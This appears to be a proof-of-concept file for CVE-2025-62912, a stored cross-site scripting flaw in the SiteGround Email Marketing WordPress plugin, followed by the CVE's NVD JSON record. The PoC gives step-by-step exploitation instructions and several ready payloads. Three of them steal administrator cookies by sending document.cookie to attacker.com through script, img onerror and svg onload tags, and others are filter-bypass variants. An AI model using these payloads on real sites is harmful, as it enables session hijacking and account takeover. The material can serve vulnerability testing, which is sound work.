CVE-2025-62912

<!-- CVE-2025-62912 Stored XSS PoC for SiteGround Email Marketing --> <!-- This PoC demonstrates the XSS vulnerability in the email subscription field --> <!-- Steps to test: --> <!-- 1. Log in as a subscriber or contributor user --> <!-- 2. Navigate to the email subscription form --> <!-- 3. Submit the payload in the email field --> <!-- 4. When admin visits the subscriber list page, XSS will execute --> <!-- Basic XSS Payload --> <script>alert('XSS - CVE-2025-62912')</script> <!-- Cookie Stealing Payload --> <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> <!-- Event Handler Based XSS --> <img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)"> <!-- SVG Based XSS --> <svg/onload=fetch('https://attacker.com/exfil?info='+btoa(document.cookie))> <!-- Payload variations for bypass --> <scr<script>ipt>alert(document.domain)</scr</script>ipt> <ScRiPt>alert(String.fromCharCode(88,83,83))</ScRiPt> <svg><script>alert`1`</script></svg>

{"cve": {"id": "CVE-2025-62912", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:50.680", "lastModified": "2026-04-27T18:16:30.000", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SiteGround SiteGround Email Marketing siteground-email-marketing allows Stored XSS.This issue affects SiteGround Email Marketing: from n/a through <= 1.7.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/siteground-email-marketing/vulnerability/wordpress-siteground-email-marketing-plugin-1-7-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}